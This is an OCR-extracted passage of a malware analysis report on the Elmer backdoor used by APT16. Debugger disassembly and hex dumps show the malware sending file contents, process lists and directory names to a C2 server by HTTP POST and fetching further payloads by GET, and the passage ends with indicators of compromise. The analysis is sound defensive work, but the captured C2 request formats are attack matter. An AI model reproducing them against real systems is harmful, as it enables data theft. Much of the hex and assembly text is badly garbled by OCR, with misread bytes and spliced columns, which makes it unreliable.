O3FEOD7C|3D 31 31 35|20 48 54 54|50 2F 31 2E(30 OD 0A 48|=115 HTTP/1.0..H 04710035 | 0471DD98
O3FEODBO|6F 73 74 3A|20 31 32 31|2E 31 32 37|2E 32 34 39|0st: 121.127.249 0471003C | 67188364
O3FEODSO0|2E 37 34 3A(34 34 33 OD|0A 55 73 65|72 2D 41 67|.74:443..User-Ag 04710020 | 00000000
O3FEODAO |65 GE 74 3A|20 4D 6F FA|69 6C 6C 61|2F 34 2E 30|ent: Mozilla/4.0 04710094 | 03FEODS D
0O3FEODBO | 20 28 &3 &F Fa 74|/69 62 6C 65|3B 20 4D 53| (compatible; MS 04._'J.DD98 047 1FFBO0
03FEODCO| 49 45 20 37|2E 30 3B 20|57 69 6E 64|6F 77 73 20| IE 7.0; Windows 0471003C 67188449
O3FEODDO | 4E 54 20 35|2E 31 3B 20|53 56 31 29|0D OA 41 63 (NT 5.1; SV1)..AcC na71ooao || 047 1FFCE
O3FEODEC| 63 65 70 74|3A 20 2A 2F|2A 0D OA 41|63 63 65 70|cept: =*/*..Accep 04;-1DD:‘4 67188894
O3FEODFO|74 2D 4C 61(6E &7 75 61|67 65 3A 20|65 6E 2D 75|t-Language: en-u U-ﬁJ.DD:S D471FFE0
O3FEQEDO |73 0D OA 43|6F GE 6E 65|63 74 63 G6F|6E 3A 20 4B|s..Connection: K 04710DAC || 67188264
O3FEOE10 |65 65 70 2D (41 6C 69 76|65 OD OA 43|6F 6E 74 65| eep-Alive..Conte 04710DE0 || 67188264
O3FEOE20|GE 74 2D 54|79 70 65 3A|20 74 65 78|74 2F B8 74| nt-Type: text/ht fa7100E4 || 0ooooooo
O3FEDE30| 6D 6C 0D DA|43 6F GE 74|65 GE 74 2D|4C 65 6E &7 |ml..Content-Leng na710oes | onoooooo
O3FEOE40|74 68 3A 20|37 37 OD OA|OD DA 3C 68|74 6D 6C 3E|th: 77....<html> na7iooec | ooooooon
O3FEDES0|3C 68 65 61|64 3E 3C 74|69 74 6C 65|3E 52 65 73| <headw»<title»Res fa71ooco || ooooo00n
0O3FEOQE&D | 75 &C 74 3C Fi 74|6C 65 3E 3C|2F 68 65 61| ult</titlex</hea 04._'J.DDC4 00000000
O3FEOE7D| 64 3E 0D DA|3C 62 6F 64|79 3E 3C 68|34 3E CD 83 _c_I:\-_._.-:bndy:\-n:hﬁf:\-I. {]4._'J.DDCS 0ZFEQOELD
O3FEOEBO|CF 83 CF 83|3C 2F 68 34|3E 3C 2F 62|6F 64 79 3E|I.I.</hd4></body> na71ooce | 03FEDACE
O3FEOESO0|3C 2F €8 74|60 6C 3E OD|E4 BS 18 67 (E4 BS 18 67| </html>.6u.gdy. g ¥ |l na=1nnnn | nnonnnon

Figure 69

Case4-EAX =3
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We have only observed a POST request performed by the malware (NOT (CC 83 CE 83 CF 83) =33 7C 31 7C 30 7C

= “3(1)0"):

i e | 67186823 6A 00 push o
i ! @ 67136E85 8B 45 FC mov eax,dword ptr ss:[febp-4]
i ®| 67136E88 E8 BF CB FF FF call apt.6718374C
! ! - 50 push eax
el - 8B 45 FC mov eax,dword ptr ss:|[lebp-4]
| ] . ES8 B6 CD FF FF call apt.6718394C
P ® 50 push eax
i . 56 push esi

mﬂ—:—!—)- E8 A3 DA FF FF €all <apt.send>
P . z
4

<apt.send>

CODE:&67186B98 apt.exe:$6B38 #5F98

 [EEEEDIED] 00000150
Woumpt  @oumpz @lpump3  @houmps  Bloumps @ watch1 | I=llecals { PIGeTinoT4| D3EE0DE0
T I e ~ || p471DD78 | DODDD146

D3FEOD50 |50 4F 53 54|20 2F 63 78|70 69 64 2F|73 75 62 &D|POST /cxpid/subm R ———
D3FEODG60( 69 74 2E 70|68 70 3F 53|65 73 73 69|6F 6E 43 44|it.phprSessionID sedpsll el
O3FEOD70(3D 22 22 20|48 54 54 50|2F 31 2E 20|0D DA 48 6F (=22 HTTP/1.0..Ho BT DD
O3FEOD80(73 74 3A 20|31 32 21 2E|31 32 37 2E(32 34 39 2E(sST: 121.127.249. 4> iboAc lEs1EaiEd
D3FEOD90|37 34 3A 34|34 33 0D OA|55 73 65 72(2D 41 67 65 |74:443..User-Age 47 iDiBE GhohGnag
O3FEODAO| 6E 74 3A 204D 6F 7A 69|6C 6C 61 2F|34 2E 30 20|nt: Mozilla/4.0 F N DIE LT
O3FEODBO| 28 63 6F 6D|70 61 74 69|62 &C &5 3B|20 4D 53 49 (compatible; MsI A hnHE A eat
03FEODCO| 45 20 37 2E|20 3B 20 57|69 6E &4 6F|77 73 20 4E(E 7.0; windows N 04710D9C Fe7138814
D3FEODDO (54 20 35 2E|31 3B 20 53|56 31 29 OD|0A 41 63 63[T 5.1; SW1)..Acc 047 1ooa0 | 0471FFCe
D3FEODE0| 65 70 74 3A|20 2A 2F 2A|0D DA 41 63|63 65 70 74[ept: */*..Accept 04710044 || 67188894
D3FEODFO| 2D 4C 61 6E|&67 75 61 67|65 3A 20 65|6E 2D 75 73[-Language: en-us B inh A CE e
O3FEOEO0| 0D 0A 43 6F |6E &E 65 63|74 63 &F 6E[3A 20 4B 65 |..Connection: Ke Hicibnie |\Exanaaeh
D3FEOEL0|65 70 2D 41|6C 69 76 650D OA 43 6F|6E 74 65 GE|ep-Alive..Conten 04-10D80 || 67138364
O3FEDE20(74 2D 54 79|70 65 3A 20|74 65 78 74|2F 68 74 6D |L-Type: text/htm B it s otiane
O3FEOE30|6C 0D DA 43|6F 6E 74 65|6E 74 2D 4C|G5 GE &7 74(7..Content-Lengt ook |snnnnsng
03FEOE40| 68 3A 20 37|37 0D OA OD|DA 3C 6B 74[6D 6C 3E 3C | h: 77....<html>< o4 1ooec | 03FEOBLD
D3FEODES0| 68 65 61 64|3E 3C 74 69|74 6L &5 3E|52 65 73 75 |headr<title=Resu 04-100c0 || 03FEOACC
D3FEDE60|6C 74 3C 2F|74 69 74 6C|65 3E 3C 2F|68 65 61 64[1t</titles</head =it loteno et
O3FEOE7O(3E 0D DA 3C |62 &F 64 79|3E 3C &8 34|2E CC 83 CE|>..<body><h4s1.1 B inhe | GananenG
O3FEOES0| 83 CF 83 3C|2F &8 34 3E|3C 2F 62 &F (64 79 3E 3C|.I.</h4></body=< o4-100cc || 00000000
D3FEODE90|2F 68 74 6D|6C 3E 00 00|E4 BS 18 67 |E4 BS 18 7| /html>..8u.0bu.g i | gt ettty

Figure 70
Case5-EAX =4

The server provides a file name to be opened by the malicious process. This action might indicate that the attacker

tries to exfiltrate the content of targeted files:

o| 67188844 6A 00 push 0
] 68 80 00 00 0O push 80
. 6A 03 push 2
@ 6A 00 push 0O
. 6A 01 push 1
. &8 00 00 OO0 80 push 80000000
L] 8B 45 EO mov eax,dword ptr ss:[ebp-20f
° ES8 EE BO FF FF €aTl apt.6718394C
L] 50 push eax —
EIP Fo E8 C4 BC FF FF call <apt.CreatefFileA> W —
L SR e e 5 | Default (
= 1: [es
<apt.CreateFilea> 2: [es
3: [es
4: [es
CODE: 6718885F apt.exe: $885F #7CSF @
“test. txt™

Woump1  @pump2  @Wpump3  @Woump4  @lpumps @ watch 1 beellocas 4 WfRsniEnas m

Address | Hex SEE ~ || 53710050
67183951 |74 65 73 74|2E 74 78 74D g5 D2 74|38 BB 4A F8|test.txth O‘!;E.J 04710094
67183961 (49 74 32 53|89 C3 8B 42 (FC E8 1D FD|FF FF 89 C2 It25.A.B§] M.A 0471DD98
67183971 |88 03 89 13|50 8B 45 FC|E8 S5E EC FF|FF 58 8B 48|....P.HUeM1yyX.H 04710D3C
c7107a01 lce aa 7~ nelen ec ae sol7r Nne on anlee £ 7a £l aT| Adduan AnLOS

Figure 71

A POST request is performed by the file, the user agent is the same as in every network communication:
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e ®| 67186833 GA 00 push 0

[ ®| 67186E85 8B 45 FC mov_eax,dwerd ptr ss:[febp-4]

i e c7186B38 ES8 BF CB FF FF €811 apt.e&718374C

! { * S0 push eax

' { . 8B 45 FC mov_eax,dword ptr ss:[[ebp-4]

e . ES8 B6 CD FF FF €811 apt.e718394C

o . 50 push eax

b = 56 push esi (=
Elg———>e E8 A3 DA FF FF €all <apt.send> W |-

] ® — e I

5 >y
<apt.send>

L

CODE: 67186698 apt.exe: §6B98 #5F38

; [EEEEDRER] 00000190 |
@oump1  @Ypump2  @lpump3  @WHoumpa  WWoumps @ watch1  beellocals 4 BPGSTIEDTa| 03FE0CT4 | “POST
P BT BiEE 0471DD78 | 00000123

-~
03FEOCT4 |5 4F 53 54(20 68 74 74|70 3A 2F 2F|31 32 31 2E|BOST http://121. g:figggﬁ m ppcpres
03FEOCS84 |31 32 37 2E|32 34 39 2E(37 34 3A 34|34 33 2F 73|127.249.74:443/s : ST1EGEES aut 5
03FEQOC94 |65 6E 64 2E|70 68 70 3F |69 64 3D 34|36 20 48 54|end.php?id=46 HT 04710098 e
03FEOCA4 |54 50 2F 31|2E 30 0D 0A|41 63 63 65|70 74 3A 20|TP/1.0..Accept: - 67188364 | apt.&
03FEOCB4 | 2A 2F 2A 0D |0A 41 63 63 (65 70 74 2D|4C 61 6E 67| */*..Accept-Lang 04710090 | 0OO0D0Z2 44 &
O3FEOCC4 (75 61 67 65|3A 20 65 GE|2D 75 73 OD|0A 48 6F 73|uage: en-us..Hos 04710094 | 03FEOCT 4 | "POST
03FEOCD4 (74 3A 20 31|32 31 2E 31|32 37 2E 32|34 32 2E 37| t: 121.127.249.7 04710098 | 047 1FFE0
03FEOCE4 |34 2A 34 34(33 0D OA 50|72 61 67 6D |61 3A 20 GE|4:4432..Pragma: n 04710D9C [F671888B5 | retur
03FEOCF4|6F 2D 63 61|63 68 65 OD|0A 55 73 65|72 2D 41 67 |o-cache..User-Ag 0471FFCC| Point
03FEODO4| 65 6E 74 3A |20 4D 6F FA|63 6C 6C 61|2F 34 2E 30|ent: Mozilla 4.0 6718894/ apt E
03FEOD14 |20 28 63 6F gD 70 §1 74|69 62 6C 65|38 20 4D 53| (compatible; MsS 0471FFE0 ;
03FEOD24 |49 45 20 36|2E 30 3B 20|57 69 6E &4|6F 77 73 20|IE 6.0; wWindows 67188364| apt.&
03FEOD34 | 4E 54 20 35|2E 31 3B 20|53 56 31 29|0D 0A 43 6F|NT 5.1; 5v1)..Co 67188364 apt.E
03FEOD44|6E 74 65 GE|74 2D 4C 65 (6E &7 74 68|3A 20 34 0D |ntent-Length: 4. 047100E4 || oooDODOD °
03FEOD54 | 0DA 43 6F GE |74 65 G6E 74 |2D 54 73 70|65 3A 20 61|.Content-Type: a 047100EE || oooo0000
03FEODG4 |70 70 6C 69|63 61 74 6%|6F 6E 2F 6F |63 74 €% 74|pplication/octet 047100DEC || 00000000
03FEOD74|2D 73 74 72|65 61 6D OD|0A 43 6F BGE|QE €0 €2 74(-stream..Connect na710pco | oooooooo
O3FEODS84 (69 &6F 6E 3A|20 4B 65 65|70 2D 41 &C(69 7& 65 OD|ion: KEEE}—A'I'IVE.

2 = : 04710DC 4 || 00000000
D3FEOD94|0A 0D DA 0OO|E4 BS 18 €7 |F4 BS 18 67(64 32 00 00....Bu.gou.gd2. . U Bl | Eectimtomita:

Figure 72

The process reads the content of the specified file by using a ReadFile function call:

®| 671BBBFF 6A 00 push 0
@ 57188301 8D 45 EC lea eax,dword ptr ss:[febp-14]
. 188304 u} push eax
L] 188305 &8 00 10 00 00 push 1000
- 188904 8D 85 C8 DF FF FF lea eax,dword ptr ss:[febp-z035]
&) 67188910 SO push eax
®| 671588911 53 push ebx
EIF > E8 81 BC FF FF call <apt.ReadrFilex
M e EERCr T e
£

<apt.ReadrFilex=

CODE: 671858912 apt.exe:$8912 #7D12

00000Z44
0471DF48
00001000
0471FF&C

@pumpt  @pump2 EWpump3  @Wloump4  Eloumps @ watthi  ellecals 4 W GaTapnas

Address | Hex ASCIT -~ g:;ﬂgg;
0471DF48 |00 00 00 DD|DD 00 DO 00|00 00 0D 00|00 00 00 OO0 | e evercrereran. e
0471DF58| 00 00 00 OOQ|00 OO OO QO[O0 OO0 OO0 OO(0D 00 00 00| . ..vceeenanrnnns

AATARm AN

AATA e

Figure 73

The content of the targeted file is exfiltrated to the CnC server using the send function:

iy . 6A 00 push 0

o - 8B 45 EC mov eax,dword ptr ss:|[febp-14]

i . 50 push eax

[ . 8D 85 CB DF FF FF lea eax,dword ptr ss:|[febp-z035])

o . 50 push eax

0 . Al EO AD 18 &7 mov eax,dword ptr ds:[6718A0EOD]

[ - 8B 00 mov eax,dword ptr ds:[eax]

0 . 50 push eax =
Eg—T———>= E8 FA BC FF FF call <apt.send-> v [—

[ AN ar rA B L - T, [e—

i . = Def

i 1
<apt.send= 2

3
41
CODE: 67188941 apt.exe:$8341 #7D41 =
W@Woump1  @Woumpz | @Woump3  @Woumps  @Woumps @ warch1  kellocals 4 PlGaTinnoe

Address |Hex | AscIT | A gggg;‘g
0471DF48 |54 45 53 54|00 00 00 00|00 00 00 OO[0D OO 00 OO|MEST. .+ vvucnenas | T P T T
Figure 74

Case 6 —EAX =5

We believe that this command is responsible for downloading other malware payloads. There is only a GET request

to the same C2 server:
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i | 67186883 6A 00 push 0
[ ®| 67186RB85 8B 45 FC mov eax,dword ptr ss:[febp-4]
i e 567186E88 E8 BF CB FF FF BT apt.&718374C
i e| 67186B8D 50 push =ax
! ! @ | 67 156B5E 8B 45 FC mov eax,dword ptr ss:[[ebp-4]
o e 567186E91 E8 B6 CD FF FF EdT1 apt.&718394C
| ! ®| 67156B96 50 push eax
1k ®| 67186E97 56 push esi
EH—:—?—)- ES A3 DA FF FF call <apt.send>
1 1 - - A e
4
<apt.send=

CODE: 67136E958 apt.exe:!$6B98 #5FI8
j JEEEEGLERY 00000190 |
HiU DUITI|:| 1 uiw DUITI|:| A w DL.IITI|:I 3 uiw DUITI|:| 4 Hiw DLIITI|:| 5 @ Watch 1 [x=] L!ﬁ 0471DD74 | O3FEOCOC | "GET

PRTEEEE | i ASCII 0471DD78 | 000000ED

M

O3FEOCOC [4% 45 54 20(63 74 74 70(3A 2F 2F 31(32 31 2E 21|@BET http://121.1 g:z}gg;g m g
03FEOCAC (32 37 2E 32(34 39 2E 37|34 3A 34 34|33 2F 71 75| 27.249.74:443/qu U-1-._'J.DDS-1- 67186BBE aut E
O3FEOC2C| 65 72 79 2E|70 68 70 3F |69 64 3D 33|37 39 20 48| ery.php?id=379 H []-1--_'J.DDSS 0471DD98 Pl
03FEOC3C (54 54 50 2F(31 2E 30 OD|0A 41 63 63|65 70O 74 3A|TTP/1.0..Accept: U4;'1DDSC 67188364 | apt. e
O3FEOC4C |20 2A 2F 2A(0D DA 41 63|62 65 70 74|2D 4C 61 &E| */*,.Accept-Lan 04:_'J.DDSU 00000000 2
O3FEOCSC |67 75 61 67|65 3A 20 65|6E 2D 75 73 (0D 0A 48 6F|guage: en-us..Ho 04710094 | 03FEOCOC | "GET
O3FEOCEC |73 74 3A 20|31 32 31 ZE |31 32 37 2E|32 34 3% 2E|st: 121.127.249. 04710098 | 047 1FF80

0O3FEOC7C |37 34 3A 34(34 33 0D 0A |50 72 61 &7|6D 61 3A 20| 74:443..Pragma: 04710D9C F67188B4D | retur
03FEOCBC|(6E 6F 2D 63|61 63 68 65|0D DA 55 73|65 72 2D 41|no-cache..User-A o4a71ppAn || 0471FFCC| Point
O3FEOCSC |67 65 6E 74(3A 20 4D 6F|7A 69 6L BC |61 2F 34 2E|gent: Mozilla/4. []4."J.DD:4 67188R9A aut €
O3FEOCAC |30 20 28 63(6F 6D 70 61|74 69 62 6C|65 3B 20 4D |0 (compatible; M IH._'J.DD:S 0471FF80 BLs
O3FEOCBC |53 49 45 20|36 2E 30 3B|20 57 69 G6E|64 6F 77 73| 5IE 6.0; wWindows Ll-l--_'lDD:\C 67188364| apt.€
O3FEQCCC |20 4E 54 20(35 2E 31 3B|20 53 56 31|29 0D 0A 43| NT 5.1; 5vl)..C 04:_'J.DDE[] 67188264 apt.E
O3FEQCDC | &6F 6E 6E 65|63 74 69 6F|6E 3A 20 4B|65 &5 70 2D | onnection: Keep- )

03FEOCEC| 41 6C 69 76[65 OD 0A OD|0A 00 00 DO|E4 BS 18 &7 |Alive....... ou.q E_}_J.'EEE_}. 29999229 T

Figure 75
Case 7—-EAX =6

The CreateToolhelp32Snapshot API is utilized to take a snapshot of the processes, the first parameter being 0x2
(TH32CS_SNAPPROCESS - all processes in the system):

Py = 13 push esi
l: L] 532 push ebx
. L FF 15 A4 B6 18 &7 call dword ptr ds: [<&CreateToolhelp32Snapshot>]
1 L ] - EEEmeE T
1

gk e e g

dword ptr [6718B6A4 <apt.&CreateToolhelp32Snapshot>]=<kernel32.CreateToolhelp325napshot>

CODE: 67187079 apt.exe:$7073 #6479
2 00000002
PWoump1  WYpumpz  lpump3  @Wipump4  @lpumps @ watch1  Ix=llocals 4 E’mn4?mc34 00000000

Figure 76

All running processes on the system are retrieved by using the Process32First and Process32Next functions:

T ™ 4 push esi
' ] 53 push ebx
e * FF 15 BC BGE 18 &7 E&lT dword ptr ds: [«&Process32First=]
il L SE pop esi
P . 5B pop ebx
i . c3 ret
Pl 33 Co XOr eax,eax
[ . SE pop esi
1
| - 5B pop ebx
H ™ C3 ret
[ . 90 nop
0 ] 53 push ebx
! ® 56 push esi
i L 8B F2 mov esi,edx
! L 8B DS mov ebx,eax
1 L E8 39 FD FF FF E&11 apt.67186DEC
| . 84 CO test al,al
HEEEEY | « T4 OB je apt.erisrvocz
= . & push esi
' ] 53 push ebx
EE— e FF 15 CO BE 18 67 calTl dword ptr ds:[<&Process3zNext>]
! . e S EET T
1

dword ptr [6718B6CO <api.&Process3ZNext>]=<kernel32.Process3ZNext>

CODE: 671870B9 apt.exe:$70B9 #64B9

00000244
0471DC64
67188364
00000244

Woump1  @oump2  Woump3  @lpump4  @oumps @ watch1  brellocals 4 PfGETiness
0471DC38
0471DC3C

Address | Hex
0471DCe4 (28 01 00 00|00 00 OO0 00|00 OO0 OO0 00|00 OO0 OO0 00

0471DC74 (00 00 00 00|01 0D 00 00|00 0D OO 00|00 OO OO OO 3;‘_13512 gi%i@;gig
0471DC84 |00 00 00 O0|5B 53 79 73|74 65 GD 20|50 72 GF 63 R e G
0471DC94 |65 73 73 5D|00 00 00 00|00 00 OO 00|00 0O OO OO ek e b S

Figure 77
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The list of processes is exfiltrated to the CnC server. By decoding the encoded information, we can observe the
following string in the beginning “6|1|System Idle Process|0|System|4|smss.exe|500|csrss.exe|604|” (note the process

name and the process ID in the buffer):

i ¢| 67186E83 6A 00 push 0
! L B&ESES5 BB 45 FC mov eax,dword ptr ss:[[ebp-4]
1 . 8GBES8 ES8 BF CB FF FF EdT] apt.e6718374C
! @ | 671586B8D 50 push eax
! ] B&EBE BB 45 FC mov eax,dword ptr ssi|febp-4]
! L] B6E91 E8 B CD FF FF call apt.6718394C
i @) 67156B96 S0 push eax
' ®| 67186B97 56 push esi
mﬂ—!—h\ E8 A3 DA FF FF call <apt.send-
: L]
<apt.send>
CODE: 67186898 apt.exe: $6B95 #5F938
; [[EEEETISE] 00000130 |
4% Dump 1 PWDbump2 @y Dump3 Y Dump4 @Y Dump S B watch 1 x=lLocals 4 W DA71DC18| 03IFE2838
e | T ASCII || 0471DC1C | DODDDE2D

0471DC20 | 00000000
0471DC24 | 0471DC44
0471DCZE| 67186BBE
0471DC2C | 0471DC3C
0471DC30( 67188364
0471DC3 4 | 00000244
0471DC38| 03FE2838
0471DC3C | 0471DD98
0471DC40 [F67187E79
0471DC 44 (| 047 1IDDAO
0471DC48 (| 67187F12
0471DC4C || 047 1DDSE
0471DCE 0 (| 00000000
0471DCS 4 (I 00000000
0471DCS 8 (| 0O3IFELIC44
0471DCSC || O3FELT28
0471DCE0 (| OIFELT14
0471DC 64 (| 00000128
0471DC &S | 00000000
047 1DCEC || 00O00ESD
0471DCT 0 (| 00000000
0471DCT 4 (| 00000000
0471DCT 8 (| 00000008
0471DC7C || 00000374
047 1DC 80 (| 00000008
A7 10 B4 I DO

03FE2838|50 4F 53 54|20 2F &3 78|70 69 64 2F|73 75 62 6D |POST Jcxpid/subm
03FE2848| 69 74 2E 70|68 70 3F 53(65 73 73 69|6F 6E 49 44|it.phprsessionID
O3FE2858| 3D 31 37 34|20 48 54 54|50 2F 31 2E (30 0D 0A 48 |=174 HTTP/1.0..H
O3FE2868|6F 73 74 3A|20 31 32 31|2E 31 32 37|2E 32 34 39|0st: 121.127.249
0O3IFE2878| 2E 37 34 3A (34 34 32 OD|0A 55 73 65|72 2D 41 67| .74:443..User-Ag
03FE2888| 65 6E 74 3A|20 4D 6F FA|69 6C 6C 61|2F 34 2E 30| ent: Mozilla/4.0
03FE2898| 20 28 63 6F |0 70O 6] 74|69 62 6C 65|38 20 4D 53| (compatible; M5
03FE28AS8| 49 45 20 37|2E 30 3B 20|57 62 6E 64|6F 77 73 20| IE 7.0; Windows
03FE28BS| 4E 54 20 35|2E 31 3B 20(53 56 31 29|0D 0A 41 63 |NT 5.1; 5W1)..AC
O3FE28C8 | 63 65 70 74(3A 20 2A 2F|2A 0D OA 41(63 63 65 70| cept: */*..AcCCep
O3FE28D8 | 74 2D 4C 61(6E &7 75 61|67 65 3A 20|65 6E 2D 75| T-Language: en-u
03FE28BES |73 0D 0A 43|6F GE GE 65|63 74 69 6F|GE 3A 20 4B|s..Connection: K
03FE28F8| 65 65 70 2D |41 6C 62 76|65 0D DA 43 |6F G6E 74 65 |eep-Alive..Conte
03FE2908 | 6E 74 2D 54|79 70 &5 3A (20 74 65 78|74 2F 68 74| nt-Type: text/ht
03FE2918| 6D 6C 0D 0OA|43 6F GE 74|65 6E 74 2D|4C 65 &E &7 (ml..Content-Leng
03FE2928| 74 63 3A 20|31 33 31 36(0D 0OA OD 0A|3C 68 74 6D |th: 1316....<htm
03FE2938| 6C 3E 3C 63|65 61 64 3E(3C 74 €9 74|6C 65 3E 52| I><head><titlexR
03FE2948| 65 73 75 6C|74 3C 2F 74|69 74 6C 65|3E 3C 2F 63| esult</title=</h
03FE2958| 65 61 64 3E|0D 0A 3C 62 |6F &4 79 3E|3C 68 34 3E|eads..<body><ha-
03FE2968|C9 83 CE 83 |AC 86 8C BB |9%A 92 DF B&|9B 93 9A DF E

0O3FE2978|AF 8D 90 9C|9A BC 8C 83 |CF 83 AC 86|8C BB 94 92
O3FE2988 | 83 CB 83 8C (92 8C 8C D1|9A B7 9A 83 |(CA CF CF 83
03FE2998 | 9C 8C BD BC |(BC D1 9A B7|9A 83 C9 CF(CB 83 838 96
03FE29A8| 91 96 91 96 (8B D1 9A B7 |9A B3 C9 CB|(CD 83 9C B8C
O3FE29B8| 8D B8C 8C D1 |9A 87 9A 83 |C9 C7 CB 83|88 96 91 93

Figure 78
Case 8 —-EAX =7

The GetFileAttributesA API is used to retrieve file system attributes for the current directory, as shown in figure 79:

50 push eax i -
E8 7D F3 FF FF €all <apt.GetFileAttributesA> |- =
. 0 T T Default (stdcall)

: [esp] O3FEOACE "C:i\\
espt+4] 67188364 apt
esp+8] 00000001

esp+C] 67188043 apt

<apt.GetFileAttributesA>

4R

CODE:671851E6 apt.exe: §51E6 #45E6

il e 4 e il e [N [ S— [ P

Figure 79

The current directory name is sent to the CnC server in the following form “7|1|Directory name|”:
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i . 6A 00 push 0
! ! [ 8B 45 FC mov eax,dword ptr ss:lfebp-4]
1 . E8 BF CB FF FF EE1T apt.6718374C
! | . 50 push eax
! ! L] 8B 45 FC mov eadx,dword ptr ss:|[ebp-4]
] L] E8 BE CD FF FF call apt.6718334C
. s 50 push eax
! ' [ 56 push esi
FHg——> E8 A3 DA FF FF €811 <apt.send>
o e &7 48 dec eax
e iz
Lol R
<apt.send>
CODE: 67186B958 apt.exe: $6B98 #5F98
; EEEDIEEY 00000130 |
@oumpt  @pump2z  B%pump3  @Hoump4  Eloumps @ wakchi  bellocals 4 Woarinnaa| 03FEOREE
Address | Hex ASCIT || 9471DD3C | D000015A

0471DD 40 | 00000000
0471DD44 | 0471DD64
0471DD48 | 67186BBS
0471DD4C | 0471DDSC
0471DD50 | 67188364
0471DD5 4 | 00000000
0471DD5 8 | 03FEODBC
0471DDSC | 0471DD 98
04710060 [67188118
0471DD64 || 047 1IDDAD
0471DDEE || 6718819
0471DDEC || 047 1DDSE
0471DD7 0 || 00000000
0471DD7 4 || 00000000

O3FEODEC [50° 4F 53 54(20 2F 63 78|70 69 64 2F (73 75 62 6D |POST Jcxpid/subm
O3FEODCC (69 74 2E 70|68 70 3F 53|65 73 73 6%|6F GE 49 44|1it.php?SessionID
O3FEODDC (3D 31 32 30|20 48 54 54|50 2F 21 2E(30 0D OA 48|=130 HTTP/1.0..H
O3FEODEC (6F 73 74 3A|20 31 32 31|2E 21 32 37(2E 32 34 39|05t: 121.127.249
O3FEODFC [ 2E 37 34 3A|34 34 33 OD|0A 55 73 65(72 2D 41 67| .74:443..User-Ag
O3FEOEOC |65 6E 74 3A(20 4D 6F 7A|69 6C 6C 61|2F 34 2E 30| ent: Mozilla/4.0
O3FEOE1IC |20 253 63 6F|ED 70 £1 74|62 62 6C 65 (3B 20 4D 53| (compatible; M5
0O3FEOE2C |49 45 20 37(2E 30 3B 20|57 69 6E 64|6F 77 73 20|IE 7.0; windows

O3FEOE3C|4E 54 20 35(2E 31 3B 20|53 56 31 29|00 0A 41 63| NT 5.1; SV1)..AC
O3FEOE4AC (63 65 70 74|3A 20 2A 2F|2A OD OA 41(63 63 65 70| cCcept: */*..Accep
O3FEOESC (74 2D 4C 61|6E 67 75 61|67 65 3A 20(65 6E 2D 75| t-Language: en-u
O3FEOEGC |73 0D OA 43|6F G6E GE 65|63 74 69 6F |6E 3A 20 4B|s..Connection: K
O3FEOE7C|(65 65 70 2D|(41 6C 69 76|65 0D 0A 43 |6F GE 74 65| eep-Aliwve..Conte

O3FEOESC |6E 74 2D 54(79 70 65 3A(20 74 65 7B|Z4 2F €8 74|nt-Type: text/ht 04710075 || 02FEORT S
O3FEOESC (6D 6C OD OA|43 6F GE 74|65 GE 74 2D |4C &5 &E 67 | ml..Content-Leng pa71007c || 00000000
D3FEDEAC (74 63 3A 20(39 36 OD 0A|0D 0A 3C 68|74 6D 6C 3E|th: 36....<html> p4-1oo30 || 03FEOBZD
O3FEOEBC [ 3C 68 65 61[64 3E 3C 74|69 74 6C 65|3E 52 65 73| <head»<titlesRes i ihiie% llG3LEDAES
O3FEOECC |75 6C 74 3C|2E 74 €9 74|6C 65 3E 3C|2F 68 65 61|ult</title></hea B Tnnan lbICEDaES
O3FEOEDC | 64 3E 0D 0A|3C 62 6F 64|79 3E 3C 68|34 3E C8 83|d>..<body><h4>E. 04710D3C || D2EEODBC
D3FEDEEC [CE 83 BC C5|A3 AA BC 9A|8D 8C A3 AD |BA BZ A3 BB|I.MAfa....f.°%fy i Ansn| i3 EEDRaG
O3FEOEFC (9A 8C 94 BB|90 8F 83 3C|2F 68 34 3E(3C 2F 62 6F|....... </h4=</bo 04710094 || 00000000
D3FEOFOC (64 79 3E 3C|2F 68 74 6D |6C 3E 00 00|E4 BS 18 &7 |dy></html>..du.g b e innaa LA A Eran
Figure 80

If EAX > 7, the process performs a few recv function calls and jumps back to the switch instruction.
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Decryption algorithm: https://github.com/Rackedydig/string_decode algorithm apt16
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https://www.virustotal.com/gui/file/bed00a7b59ef2bd703098da6d523a498c8fda05dce931f028e8f16ff434dc89e/detection

INDICATORS OF COMPROMISE

C2 IP address: 121.127.249.74

SHA256: BEDOOA7B59EF2BD703098DA6D523A498C8FDAOSDCE931F028E8F16FF434DC89E
SHA256: 44DD6A777F50E22EC295FEAE2DDEFFFF1849F8307F50DA4435584200A2BA6AF0
URLs: https[:1//121.127.249.74/cxpid/submit.php?Session]D=<decimal number>
https[:1//121.127.249.74/send.php?id=<decimal number>

https[:]1//121.127.249.74/query.php?id=<decimal number>
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https[:1//121.127.249.74/cxgid/<Hostname>/<IP address in decimal>/<IP address in decimal>0/index.php

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Source: https://cybergeeks.tech/a-detailed-analysis-of-elmer-backdoor-used-by-apt16/
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